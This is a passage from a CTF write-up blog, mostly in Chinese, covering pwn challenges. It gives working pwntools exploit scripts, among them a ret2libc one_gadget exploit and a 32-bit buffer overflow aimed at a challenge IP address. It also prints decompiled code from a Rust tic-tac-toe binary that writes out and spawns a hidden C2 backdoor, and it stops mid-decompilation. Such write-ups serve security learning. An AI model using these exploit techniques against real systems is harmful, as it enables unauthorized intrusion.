    target.sendafter(b&quot;&amp;gt; &quot;, payload)

    target.recvuntil(b&quot;\xa3\x10\x40&quot;)
    libc.address = u64(target.recv(0x6).strip().ljust(8, b&quot;\x00&quot;)) - libc.sym[&quot;puts&quot;]
    one_gadget = libc.address + 0x10A41C

    payload = flat(b&quot;A&quot; * 0x28, one_gadget)
    target.sendafter(b&quot;&amp;gt; &quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;You know 0xDiablos&lt;/h1&gt;
&lt;h2&gt;Difficulty&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;EASY&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;I missed my flag&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;BOF，后门函数 &lt;code&gt;flag&lt;/code&gt;，检测两个参数。32-bit 栈传参，没啥好说的，不过 python 整数是无限精度的，给它 -1 它就认为这是数学上的 -1，所以我们必须通过把数字截断为 32-bit 补码的形式来模拟 C 在内存中的数据表示。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    fit,
    process,
    raw_input,
    remote,
)

FILE = &quot;./vuln&quot;
HOST, PORT = &quot;94.237.57.115&quot;, 42156

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    payload = fit(
        {
            0xBC: elf.sym[&quot;flag&quot;],
            0xC0: elf.sym[&quot;exit&quot;],
            0xC4: -559038737 &amp;amp; 0xFFFFFFFF,
            0xC8: -1059139571 &amp;amp; 0xFFFFFFFF,
        }
    )
    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;: &quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;TicTacToed&lt;/h1&gt;
&lt;h2&gt;Difficulty&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;MEDIUM&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;A lawfirm recently busted an underground network of a part-time cybermafia group. Upon investigation they found nothing but a single tic-tac-toe game on their computer. The forensics team suspect it to be more than just a game. Can you expose them ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;Jesus, its a Rust Pwn challenge! 迎接地狱难度的逆向分析吧。&lt;/p&gt;
&lt;p&gt;先运行看看，感受一下程序的基本逻辑：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2yynw63u8w.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;如其名，完全就是一个井字棋游戏，5 个相同棋子连成一条线就赢了。并且我们的对手……我们哪来的对手？&lt;code&gt;X&lt;/code&gt; 和 &lt;code&gt;O&lt;/code&gt; 的棋子都是自己控制的，谁赢谁输都是我们自行决定。嗯……这样的话应该会简单很多吧？至少不用被迫去对抗一个 AI 棋手……~&lt;em&gt;我下棋最烂了……&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;然后丢给 IDA 老婆，逆天，光是 IDA 加载并分析完这个程序都足足花了几分钟才完成，它太大了。也不知道作者在里面塞了些什么乱七八糟的东西……整个程序有整整 5.5M 大小。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  return std::rt::lang_start(&amp;amp;tictactoe::main, argc, argv, 0LL);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一次做 Rust Pwn，发现反汇编出来和 C 语法都差不多，先定位 main 函数，发现叫 &lt;code&gt;tictactoe::main&lt;/code&gt;。根据我之前学过的那么一丢丢 rust 语法，&lt;code&gt;tictactoe&lt;/code&gt; 应该就是这个程序的 crate 名。&lt;/p&gt;
&lt;p&gt;crate 的话就类似于其它语言中的 package 的概念，一般这些 package 下都包含了多个相关的函数实现，我们可以在 IDA 的 Function name 窗口进行搜索，发现这个 crate 里确实包含了不少东西：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9o03kwqvqb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;其中比较引人注目的应该是这个叫做 &lt;code&gt;tictactoe::execute_c2&lt;/code&gt; 的函数，一眼 backdoor.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall tictactoe::execute_c2(int a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // eax
  int v7; // r8d
  int v8; // r9d
  int v9; // eax
  int v10; // ecx
  int v11; // r8d
  int v12; // r9d
  int v13; // eax
  int v14; // r8d
  int v15; // r9d
  int v16; // ecx
  int v17; // r8d
  int v18; // r9d
  int v19; // r9d
  int v20; // edx
  int v21; // ecx
  int v22; // r8d
  int v23; // r9d
  int v25; // [rsp+0h] [rbp-148h]
  int v26; // [rsp+0h] [rbp-148h]
  int v27; // [rsp+0h] [rbp-148h]
  int v28; // [rsp+0h] [rbp-148h]
  int v29; // [rsp+0h] [rbp-148h]
  struct _Unwind_Exception *v30; // [rsp+0h] [rbp-148h]
  int v31; // [rsp+8h] [rbp-140h]
  int v32; // [rsp+8h] [rbp-140h]
  int v33; // [rsp+8h] [rbp-140h]
  int v34; // [rsp+8h] [rbp-140h]
  int v35; // [rsp+8h] [rbp-140h]
  int v36; // [rsp+8h] [rbp-140h]
  int v37; // [rsp+10h] [rbp-138h]
  int v38; // [rsp+10h] [rbp-138h]
  int v39; // [rsp+10h] [rbp-138h]
  int v40; // [rsp+10h] [rbp-138h]
  int v41[2]; // [rsp+10h] [rbp-138h]
  int v42; // [rsp+18h] [rbp-130h]
  char v43; // [rsp+18h] [rbp-130h]
  int v44; // [rsp+18h] [rbp-130h]
  char v45; // [rsp+18h] [rbp-130h]
  int v46; // [rsp+18h] [rbp-130h]
  int v47; // [rsp+18h] [rbp-130h]
  int v48; // [rsp+1Ch] [rbp-12Ch] BYREF
  struct _Unwind_Exception *v49; // [rsp+20h] [rbp-128h]
  int v50; // [rsp+28h] [rbp-120h]
  struct _Unwind_Exception *v51; // [rsp+30h] [rbp-118h]
  int v52; // [rsp+38h] [rbp-110h] BYREF
  int v53; // [rsp+40h] [rbp-108h]
  int v54; // [rsp+48h] [rbp-100h]
  struct _Unwind_Exception *v55; // [rsp+50h] [rbp-F8h]
  int v56[42]; // [rsp+58h] [rbp-F0h] BYREF
  struct _Unwind_Exception *v57; // [rsp+100h] [rbp-48h]
  int v58; // [rsp+108h] [rbp-40h]
  _BYTE v59[32]; // [rsp+128h] [rbp-20h] BYREF

  v6 = std::fs::write(
         (int)aTmpC2Executabl,
         18,
         (int)&amp;amp;off_3A4F30,
         a4,
         a5,
         a6,
         (int)aTmpC2Executabl,
         18,
         v37,
         v42,
         (int)v49,
         v50,
         (int)v51,
         v52,
         v53,
         v54,
         v55,
         v56[0]);
  core::result::Result&amp;lt;T,E&amp;gt;::expect(
    v6,
    (int)aFailedToWriteC,
    25,
    (int)&amp;amp;off_3A4F40,
    v7,
    v8,
    v25,
    v31,
    v38,
    v43,
    v49,
    v50);
  v9 = &amp;lt;std::fs::Permissions as std::os::unix::fs::PermissionsExt&amp;gt;::from_mode(493LL);
  v13 = std::fs::set_permissions(v26, v32, v9, v10, v11, v12, v26, v32, v39, v44, (int)v49, v50, v51, v52);
  core::result::Result&amp;lt;T,E&amp;gt;::expect(
    v13,
    (int)aFailedToSetExe,
    33,
    (int)&amp;amp;off_3A4F58,
    v14,
    v15,
    v27,
    v33,
    v40,
    v45,
    v49,
    v50);
  std::process::Command::new(
    (int)v56,
    v28,
    v34,
    v16,
    v17,
    v18,
    v28,
    v34,
    (int)v56,
    v46,
    (int)v49,
    v50,
    (int)v51,
    v52,
    v53,
    v54,
    (int)v55,
    v56[0],
    v56[2],
    v56[4],
    v56[6],
    v56[8],
    v56[10],
    v56[12],
    v56[14],
    v56[16],
    v56[18],
    v56[20],
    v56[22],
    v56[24],
    v56[26],
    v56[28],
    v56[30],
    v56[32],
    v56[34],
    v56[36],
    v56[38],
    v56[40],
    v57,
    v58);
  std::process::Command::spawn(&amp;amp;v52, *(_QWORD *)v41);
  core::result::Result&amp;lt;T,E&amp;gt;::expect(
    (int)&amp;amp;v48,
    (int)&amp;amp;v52,
    (int)aFailedToExecut,
    27,
    (int)&amp;amp;off_3A4F70,
    v19,
    v29,
    v35,
    v41[0],
    v47,
    (int)v49,
    v50,
    v51,
    v52);
  core::ptr::drop_in_place&amp;lt;std::process::Command&amp;gt;(v56);
  std::process::Child::wait(v59, &amp;amp;v48);
  core::ptr::drop_in_place&amp;lt;core::result::Result&amp;lt;std::process::ExitStatus,std::io::error::Error&amp;gt;&amp;gt;(v59);
  return core::ptr::drop_in_place&amp;lt;std::process::Child&amp;gt;((int)&amp;amp;v48, (int)&amp;amp;v48, v20, v21, v22, v23, v30, v36);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.54y2hzdi2p.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;进去一看虽说有一大坨，不过细看其实很简单。&lt;code&gt;std::fs::write&lt;/code&gt; 将 C2 (Command and Control) 后门程序写入到 &lt;code&gt;/tmp/C2_executable&lt;/code&gt; 中（程序里塞程序，难怪那么大……），并通过 &lt;code&gt;std::fs::set_permissions&lt;/code&gt; 将权限设置为 &lt;code&gt;0755&lt;/code&gt;，这一点可以从 &lt;code&gt;from_mode(493LL)&lt;/code&gt; 看出来。接着，通过 &lt;code&gt;std::process::Command::new&lt;/code&gt; 创建准备执行的命令行指令（这会设置好它的参数，环境变量等）。用脚想都可以猜出来创建的命令肯定是用来执行 C2 的，根本用不着去分析参数。然后用 &lt;code&gt;std::process::Command::spawn&lt;/code&gt; 生成子进程，异步运行 Command 创建的指令。嗯……看到这里就不用继续了，后面无非就是释放空间和获取子进程的退出状态等操作，对我们来说没多大用处。&lt;/p&gt;
&lt;p&gt;此时，我们的宏观目标已经是非常清晰的了，就是要搞清楚如何调用 &lt;code&gt;tictactoe::execute_c2&lt;/code&gt;。一开始我想着可能有输入方面的漏洞，然后构造一个 ROP Chain 或者什么东西去调用它。不过我同时又清楚，Rust 以其安全性而扬名，所以题目如果是考察 Rust 的编码漏洞，那就未免有点太难了，虽然不排除确实有这个可能……总之，我在这一块还是浪费了将近一个小时，去研究 main 函数中对输入的处理是否存在什么漏洞，事实证明根本没有……&lt;/p&gt;
&lt;p&gt;下面来分析 main 函数的基本逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 tictactoe::main()
{
  int *v0; // rcx
  __int64 v1; // rdx
  int line; // eax
  int v3; // edx
  int v4; // r9d
  __int64 v5; // rax
  __int64 v6; // rdx
  __int64 v7; // rcx
  int v8; // r8d
  int v9; // r9d
  int v10; // esi
  int v11; // edx
  int v12; // ecx
  int v13; // r8d
  int v14; // r9d
  char **v15; // rsi
  int v16; // edx
  int v17; // ecx
  int v18; // r8d
  int v19; // r9d
  int v20; // edx
  int v21; // ecx
  int v22; // r8d
  int v23; // r9d
  int v25; // edx
  int v26; // ecx
  int v27; // r8d
  int v28; // r9d
  __int64 v29; // rdx
  int v30; // [rsp+0h] [rbp-4E8h]
  struct _Unwind_Exception *v31; // [rsp+0h] [rbp-4E8h]
  struct _Unwind_Exception *v32; // [rsp+0h] [rbp-4E8h]
  struct _Unwind_Exception *v33; // [rsp+0h] [rbp-4E8h]
  __int64 v34; // [rsp+8h] [rbp-4E0h]
  int v35; // [rsp+8h] [rbp-4E0h]
  int v36; // [rsp+8h] [rbp-4E0h]
  int v37; // [rsp+8h] [rbp-4E0h]
  __int64 v38; // [rsp+10h] [rbp-4D8h]
  __int64 v39; // [rsp+18h] [rbp-4D0h]
  int v40; // [rsp+20h] [rbp-4C8h]
  char is_full; // [rsp+26h] [rbp-4C2h]
  char v42; // [rsp+27h] [rbp-4C1h]
  char v43; // [rsp+28h] [rbp-4C0h]
  int v44[2]; // [rsp+28h] [rbp-4C0h]
  struct _Unwind_Exception *v45; // [rsp+30h] [rbp-4B8h]
  __int64 *v46; // [rsp+30h] [rbp-4B8h]
  int v47; // [rsp+38h] [rbp-4B0h]
  _QWORD *v48; // [rsp+38h] [rbp-4B0h]
  struct _Unwind_Exception *v49; // [rsp+40h] [rbp-4A8h]
  struct _Unwind_Exception **v50; // [rsp+48h] [rbp-4A0h]
  int v51[2]; // [rsp+50h] [rbp-498h]
  int v52; // [rsp+5Ch] [rbp-48Ch]
  int v53[2]; // [rsp+68h] [rbp-480h]
  _QWORD *v54; // [rsp+70h] [rbp-478h]
  int v55[2]; // [rsp+78h] [rbp-470h]
  char v56[8]; // [rsp+D8h] [rbp-410h]
  char v57[8]; // [rsp+138h] [rbp-3B0h]
  int v58[2]; // [rsp+148h] [rbp-3A0h]
  int v59[25]; // [rsp+154h] [rbp-394h] BYREF
  _QWORD v60[2]; // [rsp+1B8h] [rbp-330h]
  int v61; // [rsp+1C8h] [rbp-320h]
  int v62; // [rsp+1CCh] [rbp-31Ch] BYREF
  int v63[6]; // [rsp+1D0h] [rbp-318h] BYREF
  int v64[2]; // [rsp+1E8h] [rbp-300h] BYREF
  int v65[2]; // [rsp+1F0h] [rbp-2F8h]
  char v66[8]; // [rsp+1F8h] [rbp-2F0h]
  _QWORD v67[2]; // [rsp+200h] [rbp-2E8h] BYREF
  int *v68; // [rsp+210h] [rbp-2D8h]
  int v69; // [rsp+21Ch] [rbp-2CCh] BYREF
  _BYTE v70[48]; // [rsp+220h] [rbp-2C8h] BYREF
  __int128 v71; // [rsp+250h] [rbp-298h] BYREF
  __int128 v72; // [rsp+268h] [rbp-280h] BYREF
  __int64 v73; // [rsp+278h] [rbp-270h] BYREF
  _BYTE v74[48]; // [rsp+280h] [rbp-268h] BYREF
  _BYTE v75[48]; // [rsp+2B0h] [rbp-238h] BYREF
  int v76[4]; // [rsp+2E0h] [rbp-208h] BYREF
  int v77[4]; // [rsp+2F8h] [rbp-1F0h] BYREF
  int v78[2]; // [rsp+308h] [rbp-1E0h] BYREF
  char v79[24]; // [rsp+310h] [rbp-1D8h] BYREF
  char v80[8]; // [rsp+328h] [rbp-1C0h] BYREF
  int v81[6]; // [rsp+330h] [rbp-1B8h] BYREF
  _BYTE v82[64]; // [rsp+348h] [rbp-1A0h] BYREF
  int v83[16]; // [rsp+388h] [rbp-160h] BYREF
  _BYTE v84[48]; // [rsp+3C8h] [rbp-120h] BYREF
  int v85[2]; // [rsp+3F8h] [rbp-F0h] BYREF
  __int64 v86; // [rsp+400h] [rbp-E8h]
  int v87; // [rsp+408h] [rbp-E0h]
  _BYTE v88[48]; // [rsp+410h] [rbp-D8h] BYREF
  __int128 v89; // [rsp+440h] [rbp-A8h] BYREF
  __int128 v90; // [rsp+450h] [rbp-98h] BYREF
  _BYTE v91[52]; // [rsp+460h] [rbp-88h] BYREF
  int v92; // [rsp+494h] [rbp-54h]
  __int64 v93; // [rsp+4A8h] [rbp-40h]
  __int64 v94[3]; // [rsp+4B0h] [rbp-38h] BYREF
  __int64 v95; // [rsp+4C8h] [rbp-20h]
  __int64 v96[3]; // [rsp+4D0h] [rbp-18h] BYREF

  tictactoe::detect_debugger();
  for ( *(_QWORD *)v58 = 0LL; *(_QWORD *)v58 &amp;lt; 5uLL; ++*(_QWORD *)v58 )
    *((_DWORD *)v60 + *(_QWORD *)v58) = 45;
  for ( *(_QWORD *)v57 = 0LL; *(_QWORD *)v57 &amp;lt; 5uLL; ++*(_QWORD *)v57 )
  {
    v0 = &amp;amp;v59[5 * *(_QWORD *)v57];
    *(_QWORD *)v0 = v60[0];
    *((_QWORD *)v0 + 1) = v60[1];
    v0[4] = v61;
  }
  v62 = 88;
  alloc::vec::Vec&amp;lt;T&amp;gt;::new(v63);
  while ( 1 )
  {
    while ( 1 )
    {
      *(_QWORD *)v64 = core::array::&amp;lt;impl core::iter::traits::collect::IntoIterator for &amp;amp;[T; N]&amp;gt;::into_iter(v59);
      *(_QWORD *)v65 = v1;
      while ( 1 )
      {
        *(_QWORD *)v66 = &amp;lt;core::slice::iter::Iter&amp;lt;T&amp;gt; as core::iter::traits::iterator::Iterator&amp;gt;::next(v64);
        if ( !*(_QWORD *)v66 )
          break;
        v67[0] = core::array::&amp;lt;impl core::iter::traits::collect::IntoIterator for &amp;amp;[T; N]&amp;gt;::into_iter(*(_QWORD *)v66);
        v67[1] = v29;
        while ( 1 )
        {
          v39 = &amp;lt;core::slice::iter::Iter&amp;lt;T&amp;gt; as core::iter::traits::iterator::Iterator&amp;gt;::next(v67);
          v68 = (int *)v39;
          if ( !v39 )
            break;
          v69 = *v68;
          core::fmt::rt::Argument::new_display(&amp;amp;v72, &amp;amp;v69);
          v71 = v72;
          core::fmt::Arguments::new_v1(v70, &amp;amp;unk_3A52E8, &amp;amp;v71);
          std::io::stdio::_print(v70);
          v38 = std::io::stdio::stdout();
          v73 = v38;
          v34 = &amp;lt;std::io::stdio::Stdout as std::io::Write&amp;gt;::flush(&amp;amp;v73);
          v93 = v34;
          if ( v34 )
          {
            v94[0] = v93;
            core::result::unwrap_failed(aCalledResultUn, 43LL, v94, &amp;amp;off_3A4F00, &amp;amp;off_3A5308);
          }
        }
        core::fmt::Arguments::new_const(v74, &amp;amp;off_3A52D8);
        std::io::stdio::_print(v74);
      }
      core::fmt::rt::Argument::new_display(v77, &amp;amp;v62);
      *(_OWORD *)v76 = *(_OWORD *)v77;
      core::fmt::Arguments::new_v1(v75, &amp;amp;off_3A5140, v76);
      std::io::stdio::_print(v75);
      *(_QWORD *)v78 = std::io::stdio::stdout();
      *(_QWORD *)v56 = &amp;lt;std::io::stdio::Stdout as std::io::Write&amp;gt;::flush(v78);
      v95 = *(_QWORD *)v56;
      if ( *(_QWORD *)v56 )
      {
        v96[0] = v95;
        core::result::unwrap_failed(aCalledResultUn, 43LL, v96, &amp;amp;off_3A4F00, &amp;amp;off_3A5160);
      }
      alloc::string::String::new(v79);
      *(_QWORD *)v80 = std::io::stdio::stdin();
      line = std::io::stdio::Stdin::read_line(v80, v79);
      core::result::Result&amp;lt;T,E&amp;gt;::expect(
        line,
        v3,
        (int)aFailedToReadLi,
        19,
        (int)&amp;amp;off_3A5178,
        v4,
        v30,
        v34,
        v38,
        v39,
        v40,
        v43,
        v45,
        v47);
      v5 = &amp;lt;alloc::string::String as core::ops::deref::Deref&amp;gt;::deref(v79);
      core::str::&amp;lt;impl str&amp;gt;::trim(v5, v6);
      core::str::&amp;lt;impl str&amp;gt;::split_whitespace((int)v83);
      core::iter::traits::iterator::Iterator::filter_map(v82, v83);
      core::iter::traits::iterator::Iterator::collect(v81, v82);
      if ( alloc::vec::Vec&amp;lt;T,A&amp;gt;::len(v81) == 2
        &amp;amp;&amp;amp; *(_QWORD *)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(v81, 0LL, &amp;amp;off_3A5190) &amp;lt; 5uLL
        &amp;amp;&amp;amp; *(_QWORD *)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(v81, 1LL, &amp;amp;off_3A51A8) &amp;lt; 5uLL )
      {
        *(_QWORD *)v55 = *(_QWORD *)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(v81, 0LL, &amp;amp;off_3A51C0);
        if ( *(_QWORD *)v55 &amp;gt;= 5uLL )
          core::panicking::panic_bounds_check(*(_QWORD *)v55, 5LL, &amp;amp;off_3A51D8);
        v54 = (_QWORD *)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(v81, 1LL, &amp;amp;off_3A51F0);
        *(_QWORD *)v53 = *v54;
        if ( *v54 &amp;gt;= 5uLL )
          core::panicking::panic_bounds_check(*(_QWORD *)v53, 5LL, &amp;amp;off_3A51D8);
        if ( v59[5 * *(_QWORD *)v55 + *(_QWORD *)v53] == 45 )
          break;
      }
      core::fmt::Arguments::new_const(v84, &amp;amp;off_3A52C8);
      std::io::stdio::_print(v84);
      core::ptr::drop_in_place&amp;lt;alloc::vec::Vec&amp;lt;usize&amp;gt;&amp;gt;((int)v81, (int)&amp;amp;off_3A52C8, v25, v26, v27, v28, v31, v35);
      core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v79);
    }
    v52 = v62;
    *(_QWORD *)v51 = *(_QWORD *)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(v81, 0LL, &amp;amp;off_3A5208);
    if ( *(_QWORD *)v51 &amp;gt;= 5uLL )
      core::panicking::panic_bounds_check(*(_QWORD *)v51, 5LL, &amp;amp;off_3A5220);
    v50 = (struct _Unwind_Exception **)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(
                                         v81,
                                         1LL,
                                         &amp;amp;off_3A5238);
    v49 = *v50;
    if ( (unsigned __int64)*v50 &amp;gt;= 5 )
      core::panicking::panic_bounds_check(v49, 5LL, &amp;amp;off_3A5220);
    v59[5 * *(_QWORD *)v51 + (_QWORD)v49] = v52;
    v48 = (_QWORD *)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(v81, 0LL, &amp;amp;off_3A5250);
    *(_QWORD *)v44 = *v48;
    v46 = (__int64 *)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(v81, 1LL, &amp;amp;off_3A5268);
    v7 = *v46;
    *(_QWORD *)v85 = *(_QWORD *)v44;
    v86 = v7;
    v87 = v62;
    alloc::vec::Vec&amp;lt;T,A&amp;gt;::push(
      (int)v63,
      (int)v85,
      (int)&amp;amp;off_3A5280,
      v7,
      v8,
      v9,
      (int)v31,
      v35,
      v38,
      v39,
      v40,
      v44[0],
      (int)v46,
      (int)v48,
      v49,
      (int)v50);
    v10 = v62;
    v42 = tictactoe::check_winner(v59, (unsigned int)v62, v63);
    if ( (v42 &amp;amp; 1) != 0 )
    {
      core::fmt::rt::Argument::new_display(&amp;amp;v90, &amp;amp;v62);
      v89 = v90;
      v15 = &amp;amp;off_3A52A8;
      core::fmt::Arguments::new_v1(v88, &amp;amp;off_3A52A8, &amp;amp;v89);
      std::io::stdio::_print(v88);
      goto LABEL_40;
    }
    is_full = tictactoe::is_full(v59);
    if ( (is_full &amp;amp; 1) != 0 )
      break;
    if ( v62 == 88 )
      v92 = 79;
    else
      v92 = 88;
    v62 = v92;
    core::ptr::drop_in_place&amp;lt;alloc::vec::Vec&amp;lt;usize&amp;gt;&amp;gt;((int)v81, v10, v11, v12, v13, v14, v32, v36);
    core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v79);
  }
  v15 = &amp;amp;off_3A5298;
  core::fmt::Arguments::new_const(v91, &amp;amp;off_3A5298);
  std::io::stdio::_print(v91);
LABEL_40:
  core::ptr::drop_in_place&amp;lt;alloc::vec::Vec&amp;lt;usize&amp;gt;&amp;gt;((int)v81, (int)v15, v16, v17, v18, v19, v32, v36);
  core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v79);
  return core::ptr::drop_in_place&amp;lt;alloc::vec::Vec&amp;lt;(usize,usize,char)&amp;gt;&amp;gt;((int)v63, (int)v15, v20, v21, v22, v23, v33, v37);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逆天，&lt;code&gt;tictactoe::detect_debugger&lt;/code&gt; 检测到程序被调试就会结束，我试了下 gdb 可以通过 &lt;code&gt;set $rip&lt;/code&gt; 绕过，还有一个想法是通过 IDA 把这个调用 patch 成 &lt;code&gt;nop&lt;/code&gt;，就是不清楚这两种方法会不会影响到后续的程序执行。不过以「过来人」的结论来说，我们做这题根本用不着动态调试就是了。研究怎么 patch 这个程序又浪费了我十几分钟……后来也没成功，直接放弃了，继续分析……&lt;/p&gt;
&lt;p&gt;接着程序中有几个 for 循环，我斗胆猜测一下，应该是初始化棋盘的。然后那个庞大的 while 循环里面，看了下，应该是负责显示棋盘，接收用户输入并设置棋盘。注意到它通过 &lt;code&gt;core::str::&amp;lt;impl str&amp;gt;::trim&lt;/code&gt; 去除输入两端的垃圾字符，&lt;code&gt;core::str::&amp;lt;impl str&amp;gt;::split_whitespace&lt;/code&gt; 想必就是将输入按空格分隔了，然后 &lt;code&gt;core::iter::traits::iterator::Iterator::filter_map&lt;/code&gt; 对输入做了一些过滤，最后用 &lt;code&gt;core::iter::traits::iterator::Iterator::collect&lt;/code&gt; 将结果整合起来进行后续的操作。&lt;/p&gt;
&lt;p&gt;之后，&lt;code&gt;*(_QWORD *)v55 &amp;gt;= 5uLL&lt;/code&gt; 和 &lt;code&gt;*v54 &amp;gt;= 5uLL&lt;/code&gt; 的几个 if 应该就是检测输入的行列是否超出了棋盘大小。那就可以很自然的推断出外层 if &lt;code&gt;alloc::vec::Vec&amp;lt;T,A&amp;gt;::len(v81) == 2 &amp;amp;&amp;amp; *(_QWORD *)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(v81, 0LL, &amp;amp;off_3A5190) &amp;lt; 5uLL &amp;amp;&amp;amp; *(_QWORD *)&amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::index::Index&amp;lt;I&amp;gt;&amp;gt;::index(v81, 1LL, &amp;amp;off_3A51A8) &amp;lt; 5uLL&lt;/code&gt; 这一长串就是判断提供的输入是否是合法的两个行列数据，并且它们都在合法的范围内。之后又分别对行列数据范围做了检测，没问题就设置棋盘的对应元素。&lt;/p&gt;
&lt;p&gt;之后 &lt;code&gt;alloc::vec::Vec&amp;lt;T,A&amp;gt;::push&lt;/code&gt; 应该是把棋盘数据保存到 vector 中，用于后续 &lt;code&gt;tictactoe::check_winner&lt;/code&gt; 判断哪一方胜出。任何一方胜出后都会跳转到 &lt;code&gt;LABEL_40&lt;/code&gt; 回收内存。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tictactoe::is_full&lt;/code&gt;，看名字就知道肯定是检测棋盘被填满还没有分出胜负的情况，后续的 &lt;code&gt;std::io::stdio::_print&lt;/code&gt; 来看也可以证实这一点，如果填满了就输出 &lt;code&gt;It&apos;s a draw!&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;目前还没发现任何有关后门的线索，哪怕是验证函数也没见它调用过。我们深入 &lt;code&gt;tictactoe::check_winner&lt;/code&gt; 看看：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char __fastcall tictactoe::check_winner(int a1, int a2, __int64 a3, int a4, int a5, int a6)
{
  __int64 v6; // rax
  __int64 v7; // rdx
  __int64 v8; // rax
  __int64 v9; // rdx
  __int64 v10; // rax
  __int64 v11; // rdx
  int v12; // eax
  int v13; // edx
  int v14; // ecx
  int v15; // r8d
  int v16; // r9d
  __int64 v17; // rax
  __int64 v18; // rdx
  char **v19; // rsi
  __int64 v20; // rdx
  __int64 v21; // rax
  unsigned __int64 v22; // rdx
  int v23; // edx
  int v24; // ecx
  int v25; // r8d
  int v26; // r9d
  __int64 v28; // rdx
  int v29; // r8d
  int v30; // r9d
  int v31; // edx
  int v32; // ecx
  int v33; // r8d
  int v34; // r9d
  __int64 v35; // rax
  __int64 v36; // rdx
  int v37; // [rsp+0h] [rbp-358h]
  int v38; // [rsp+0h] [rbp-358h]
  struct _Unwind_Exception *v39; // [rsp+0h] [rbp-358h]
  int v40; // [rsp+8h] [rbp-350h]
  int v41; // [rsp+8h] [rbp-350h]
  int v42; // [rsp+8h] [rbp-350h]
  int v43; // [rsp+10h] [rbp-348h]
  int v44; // [rsp+10h] [rbp-348h]
  int v45; // [rsp+10h] [rbp-348h]
  int v46; // [rsp+18h] [rbp-340h]
  char v47; // [rsp+18h] [rbp-340h]
  int v48; // [rsp+18h] [rbp-340h]
  char v49; // [rsp+1Eh] [rbp-33Ah]
  int v50; // [rsp+20h] [rbp-338h]
  int v51; // [rsp+20h] [rbp-338h]
  int v52; // [rsp+28h] [rbp-330h]
  int v53; // [rsp+28h] [rbp-330h]
  int v54; // [rsp+30h] [rbp-328h]
  int v55; // [rsp+30h] [rbp-328h]
  struct _Unwind_Exception *v56; // [rsp+30h] [rbp-328h]
  char v57; // [rsp+36h] [rbp-322h]
  char v58; // [rsp+37h] [rbp-321h]
  int v59; // [rsp+38h] [rbp-320h]
  int v60; // [rsp+38h] [rbp-320h]
  int v61; // [rsp+38h] [rbp-320h]
  struct _Unwind_Exception *v62; // [rsp+40h] [rbp-318h]
